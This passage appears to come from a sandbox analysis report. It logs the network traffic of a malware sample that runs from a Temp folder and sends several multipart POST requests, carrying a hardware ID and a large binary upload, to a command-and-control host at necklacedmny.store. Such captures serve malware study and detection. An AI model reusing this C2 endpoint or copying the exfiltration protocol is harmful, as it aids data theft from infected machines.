2024-10-30 04:25:21 UTC	368	IN	Data Raw: 7a 36 66 44 45 48 35 6a 7a 54 76 6f 4d 68 31 62 61 30 61 4a 4f 51 56 4d 49 54 69 4b 64 43 72 64 41 33 6a 6e 34 65 41 6e 56 79 2f 53 50 6a 74 59 4b 6e 50 70 5a 36 77 72 46 4d 59 4b 62 71 68 34 65 66 55 63 48 61 38 59 64 34 52 57 64 63 50 68 44 56 74 57 4c 35 49 57 56 74 6c 72 46 70 41 7a 69 56 5a 46 57 67 74 48 31 58 46 63 71 57 67 64 39 78 6c 79 69 58 39 77 34 75 31 46 45 30 75 32 4b 38 4e 54 75 44 34 58 6c 59 4d 4d 63 6b 68 75 53 68 72 78 43 44 47 6c 47 53 53 4b 51 57 2b 38 4e 77 58 37 67 66 67 66 64 6b 34 75 5a 6a 76 74 4a 79 72 52 72 2f 68 57 47 45 59 4b 41 34 43 6b 44 5a 30 35 51 4e 4d 5a 56 34 55 75 4f 5a 75 67 4a 42 35 48 43 39 49 2b 65 73 56 4c 48 70 77 6d 74 53 5a 64 59 6a 64 47 37 54 6b 45 34 42 67 63 33 78 6b 50 68 43 73 30 73 71 6b 46 45 67 39 Data Ascii: z6fDEH5jzTvoMh1ba0aJOQVMITiKdCrdA3jn4eAnVy/SPjtYKnPpZ6wrFMYKbqh4efUcHa8Yd4RWdcPhDVtWL5IWVtlrFpAziVZFWgtH1XFcqWgd9xlyiX9w4u1FE0u2K8NTuD4XlYMMckhuShrxCDGlGSSKQW+8NwX7gfgfdk4uZjvtJyrRr/hWGEYKA4CkDZ05QNMZV4UuOZugJB5HC9I+esVLHpwmtSZdYjdG7TkE4Bgc3xkPhCs0sqkFEg9
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 32 36 65 37 0d 0a 42 39 6c 77 52 69 7a 58 38 67 39 72 6b 51 41 71 2b 32 33 77 63 50 73 41 70 50 4b 59 4e 4d 57 69 52 57 61 30 35 77 59 46 48 70 4c 51 69 4b 34 4a 61 39 4b 32 6a 6d 32 51 55 66 56 6e 66 54 59 6a 72 73 77 30 72 77 65 77 6c 58 49 44 74 54 4a 37 54 73 61 5a 45 5a 41 4d 35 64 57 67 6c 76 44 4d 62 4e 47 42 39 75 54 73 70 65 57 73 30 66 53 38 45 2b 39 51 39 68 45 7a 38 54 2b 57 55 6b 34 56 77 6b 38 78 67 33 68 46 5a 78 77 2b 46 55 48 7a 5a 50 7a 32 63 50 69 43 70 7a 33 54 4f 38 64 69 77 43 58 31 70 4d 77 4f 47 64 44 53 79 69 4a 45 4a 39 7a 37 7a 4f 7a 53 30 71 61 32 49 72 70 32 2b 41 48 6e 50 4e 49 37 46 76 47 56 70 76 52 39 54 64 5a 49 67 68 34 61 38 59 44 34 52 57 4f 43 37 74 4a 53 5a 4c 46 70 5a 72 76 37 67 4b 65 2b 56 48 32 57 38 5a 57 6b 74 Data Ascii: 26e7B9lwRizX8g9rkQAq+23wcPsApPKYNMWiRWa05wYFHpLQiK4Ja9K2jm2QUfVnfTYjrsw0rwewlXIDtTJ7TsaZEZAM5dWglvDMbNGB9uTspeWs0fS8E+9Q9hEz8T+WUk4Vwk8xg3hFZxw+FUHzZPz2cPiCpz3TO8diwCX1pMwOGdDSyiJEJ9z7zOzS0qa2Irp2+AHnPNI7FvGVpvR9TdZIgh4a8YD4RWOC7tJSZLFpZrv7gKe+VH2W8ZWkt
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 4c 58 5a 35 41 4a 45 59 73 55 76 4e 41 49 5a 73 53 35 50 55 72 74 44 49 78 53 6e 53 75 68 37 79 57 39 41 76 31 4e 6e 74 4d 56 63 71 55 41 64 39 78 69 36 69 51 38 41 35 72 6c 59 4b 73 4d 53 33 78 38 6a 67 53 64 79 30 57 4c 31 44 32 46 6a 55 6c 62 78 4f 51 54 6f 61 48 48 44 56 54 50 45 66 30 58 43 68 42 31 48 56 69 2b 61 5a 6a 76 46 4a 79 72 51 5a 2f 67 6d 61 45 4a 65 48 72 6b 6b 6e 56 47 35 45 4e 49 77 36 72 46 33 4a 41 49 5a 53 52 4a 76 64 73 38 48 66 6f 30 66 53 2b 78 36 6c 49 73 68 65 32 4a 65 75 47 46 6c 56 42 67 63 39 78 6b 50 68 65 4d 30 77 74 6b 42 52 68 4a 36 53 31 4e 2f 70 4b 4a 2f 6b 57 62 31 56 79 42 44 55 79 66 35 41 57 57 35 5a 42 33 33 57 53 66 6f 59 6e 57 6e 6f 46 56 6a 62 79 76 54 42 6a 72 74 62 33 4c 52 4d 76 55 50 49 55 5a 65 44 76 77 67 Data Ascii: LXZ5AJEYsUvNAIZsS5PUrtDIxSnSuh7yW9Av1NntMVcqUAd9xi6iQ8A5rlYKsMS3x8jgSdy0WL1D2FjUlbxOQToaHHDVTPEf0XChB1HVi+aZjvFJyrQZ/gmaEJeHrkknVG5ENIw6rF3JAIZSRJvds8Hfo0fS+x6lIshe2JeuGFlVBgc9xkPheM0wtkBRhJ6S1N/pKJ/kWb1VyBDUyf5AWW5ZB33WSfoYnWnoFVjbyvTBjrtb3LRMvUPIUZeDvwg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49999	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-30 04:25:22 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:22 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=acf7um1p9s45235kc9t1fjahof; expires=Sat, 22 Feb 2025 22:12:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rGIhd1bcFcnYte6qznaF9qS%2FTnJ%2B3KsXgCa19dOlUKyRiT%2B3c%2Brr2oFUlA3hRR1qXiyGY%2FuXQfwkgTXIBYSFtUTuwNSKWex1TBhtp4mjG6H5IjP9diWglTW3et%2B2lzP5TY1GofQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a41a5eb92851-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1420&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2026592&cwnd=250&unsent_bytes=0&cid=d3327ecee772c225&ts=830&x=0"
2024-10-30 04:25:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50000	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-30 04:25:23 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:24 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7em4fo9sbeo2qe48510vufp2mv; expires=Sat, 22 Feb 2025 22:12:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ESAO%2BR0CACShBnqV7PX7oUbxOy8OOiYM49geVRvbGsM4nt6KbO8mmqNRfbpCwvZLz6G4nJnyej9pZfoEUuNUnL%2BsHKRoIn1sZL%2BMg3jKUTRXgDkgjKbY4AiqlOweUVvVxQNnHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a4243eb84786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16052&delivery_rate=1546182&cwnd=234&unsent_bytes=0&cid=42757cde21a8b3c0&ts=506&x=0"
2024-10-30 04:25:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50001	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:25 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-30 04:25:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:25 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-30 04:25:25 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rrts8d9r30g49pdk9ns4uuvjv2; expires=Sat, 22 Feb 2025 22:12:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qKct%2BZ9pATHVttUStRsiP0AFE4L7S1PwU27OTpDIzoGGp1Mxo2mDfdezaL2fOOO4OPRmUdwzr72wNU5XrbxPWj27Oq%2Ff8UUgFdJWcTEmmvQM7oZXyuwx4JKRQJ8DODblh1kwptI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a42caff04758-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2431570&cwnd=227&unsent_bytes=0&cid=b351482c1c0f9490&ts=664&x=0"
2024-10-30 04:25:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50002	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:27 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1242 Host: necklacedmny.store
2024-10-30 04:25:27 UTC	1242	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:28 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fbsd06lic0eljqthgq3u0bajr4; expires=Sat, 22 Feb 2025 22:12:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TxOXA9h6URUvB2UXSkKSdxvgQUkPajR6vjderkxOzK3diOzMyhc0h%2FoasDrPV4bsAXQSzj4rpxAv6e4Q%2FTtVDfzj6wpHprZb1HxjL6VYkt%2FVxu2UC4cx8rPAKskT7Pnx30UbEgw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a43c4941a91e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1084&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2161&delivery_rate=2674053&cwnd=252&unsent_bytes=0&cid=0f9e0a2c9b01f524&ts=730&x=0"
2024-10-30 04:25:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:25:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50004	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:29 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549063 Host: necklacedmny.store
2024-10-30 04:25:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:25:29 UTC	15331	OUT	Data Raw: 94 39 07 87 67 1f f5 2e a8 0f 02 df 74 cb ac cc 64 de ef ec b9 19 aa 42 54 22 2b 8e 44 08 4c fb 97 e8 78 34 91 10 3f 98 51 d8 1f 24 b5 c3 34 db 37 d8 3e ec fe 52 53 f4 92 a9 24 22 45 48 c1 18 27 fd f6 f0 98 f2 af b0 80 e8 cc e7 89 33 13 0d 2e e8 96 0a 9b a3 a9 3b 03 37 c6 ae 18 69 ad 5f 37 37 6d 43 89 3b 0f 9a d3 70 57 8d 1d 54 95 99 df 5c 0a 9a a4 25 67 35 48 f3 3d 4d 62 2a 52 bc 4c 23 8b 0f 32 ab 9c ca 65 f4 5c d2 56 27 3d f4 2f d9 b2 a6 26 0b 4c d8 1a a1 8c bf 42 e4 6d 74 f3 63 08 ae 87 6a 14 f0 47 5a e1 52 af 5f d9 f1 ad 17 af 56 fb 6f ac 82 8c 03 f4 d0 71 d4 5d 3d 86 a8 18 3a 46 52 87 a1 c5 92 2d eb 84 38 23 ba 8e 42 35 2a 0c fb 3c 76 67 fc 51 7a 0c c4 28 e5 f1 1a 2e 83 6e a5 3d 0a 20 5b 7b f9 c8 6f 80 71 ec 35 9e 29 48 98 93 79 6d 3f f1 57 7f 9d ff Data Ascii: 9g.tdBT"+DLx4?Q$47>RS$"EH'3.;7i_77mC;pWT\%g5H=MbRL#2e\V'=/&LBmtcjGZR_Voq]=:FR-8#B5<vgQz(.n= [{oq5)Hym?W
2024-10-30 04:25:29 UTC	15331	OUT	Data Raw: 9c d7 d3 79 f2 5d d0 58 b7 88 20 d7 c4 d8 7d 6c 31 b7 4c 65 aa 06 e7 21 6c 65 da 3c c5 92 d3 bf a9 47 1c 57 9a a8 4b e1 3e 77 b6 83 1e a5 2f 09 7c 48 ae c2 0e ed f6 e8 44 4d be e5 ac 1a c0 e8 ac a3 33 b7 2c 48 35 68 b9 9e 27 0f 6d a7 40 eb c5 66 01 c1 2a f3 ac 0c ed 1f 8a 29 06 db 78 f1 75 ee 96 f2 70 1b f3 f2 57 5c b2 89 e4 da b8 4b 41 43 10 aa 49 d3 ba 8d 78 45 f0 a0 d3 a9 f2 a0 f8 c5 a3 0a e6 96 1c 59 9f ac df f4 11 80 3b b5 bd 59 6b ff 19 5d ea 7e db 2d 6c 44 b4 67 ae e4 ed 81 ba 8d 41 9f 1e 0a b7 9f 72 72 a9 36 d2 0d a6 0a 80 d2 86 ef ee 3d 4b ae c1 a7 23 3e bd cf 7c ec ce 9d b5 ef a9 e8 32 35 e2 7e e8 d7 b2 79 fd 96 b5 b1 46 79 33 fb be 32 a0 f9 46 f4 aa 76 ef b7 13 1a 68 8a 1f a0 c5 d2 d3 44 ea 21 88 34 7d e3 7a b4 5e f4 d6 4a 87 2e 6b 0a 62 60 45 Data Ascii: y]X }l1Le!le<GWK>w/\|HDM3,H5h'm@f*)xupW\KACIxEY;Yk]~-lDgArr6=K#>\|25~yFy32FvhD!4}z^J.kb`E
2024-10-30 04:25:29 UTC	15331	OUT	Data Raw: 6e ea 5c 9a 92 98 a3 2f 0a 04 92 84 6a c7 5c db af 28 58 55 fe d8 6c 6e 7f 5d 14 fb 13 76 0a e4 1d ed 77 0d 4f d5 4e 7c 34 c5 3d ba 56 57 34 04 67 49 33 99 d9 fd d5 56 bf 51 d3 9f d4 3e 39 14 ab 54 df 43 33 ee b1 71 b0 00 94 c4 0b e7 43 29 32 d1 18 41 6a 92 b7 48 26 c4 8a 5b 2b dc d3 6d 24 0e 93 5b f6 38 90 6e 5c 11 ff a5 18 f8 8c 8d 5b ce 3c 94 1e 5c 19 e7 fe 65 bd 62 24 46 b0 fb 37 5c 80 20 1c 6c 94 44 ed b6 4f 9b a1 bb fe a9 10 5e 29 bb 38 97 1f 52 5c 89 cb 4c 9a f3 f9 d4 2b 09 d2 22 ff d7 1a f5 ff 2e 87 2a 6c 07 d3 58 d4 09 7f d0 7d c5 6a 17 c8 d1 c2 b8 4c f2 81 86 d5 80 ab 0a d7 98 32 ea d8 cf 1d 4d 6b c7 0e 82 c3 fc f1 52 11 6e 90 e5 e2 ab b8 10 14 7c d2 1f 84 f6 1f 8e 76 b9 66 ca a0 e0 b3 ac 86 06 e7 17 92 b0 20 55 e1 87 31 f7 68 a3 93 2c e7 68 e2 Data Ascii: n\/j\(XUln]vwON\|4=VW4gI3VQ>9TC3qC)2AjH&[+m$[8n\[<\eb$F7\ lDO^)8R\L+".*lX}jL2MkRn\|vf U1h,h
2024-10-30 04:25:29 UTC	15331	OUT	Data Raw: 91 67 37 7d 05 f8 5d d3 57 ec 0e fa 8c be b4 93 57 1c 51 01 b9 f4 5f 43 39 7c ba bf b3 9c 8e 6a 4f da 53 3c ef c7 c1 ff 18 ab 82 7a c9 79 91 ba b0 a7 71 5a ea b5 a5 d9 2e 6d 92 f1 cf 99 49 de ad 08 c0 a7 89 d8 ea a2 87 88 45 8c 36 a9 3b a5 b2 91 13 7d c6 ea c0 b9 c8 36 9d ae bd 7a b4 d4 55 91 ee b0 8b f5 bd ca fa 1f 99 e4 fc 70 0e 5a 18 85 da 48 a0 87 de af 40 c8 b4 00 6a 5a 74 11 62 99 d8 bd a1 4f 87 7f 38 31 df 68 84 0d 77 69 50 b6 74 cd b4 4f 1a 1a 64 f1 bb f7 97 df de 78 29 4a 13 e1 b7 01 76 18 9e ae 7c 5b 9d f1 94 4c 11 48 ae 93 8d 34 aa 43 92 40 e2 18 ea dc d6 c5 b1 6a f4 7c 7c a9 46 3a 7c 47 78 e9 b1 b0 9a 5c b2 85 6d 46 02 4e 5c 6c ef 7c e1 8e 6d da 02 0a b7 b8 93 eb 4f 65 23 8f 08 1b 57 7d 5b 69 d4 0a 58 cd 6c 61 13 c2 1a b5 31 e2 e0 75 ef be 91 Data Ascii: g7}]WWQ_C9\|jOS<zyqZ.mIE6;}6zUpZH@jZtbO81hwiPtOdx)Jv\|[LH4C@j\|\|F:\|Gx\mFN\l\|mOe#W}[iXla1u
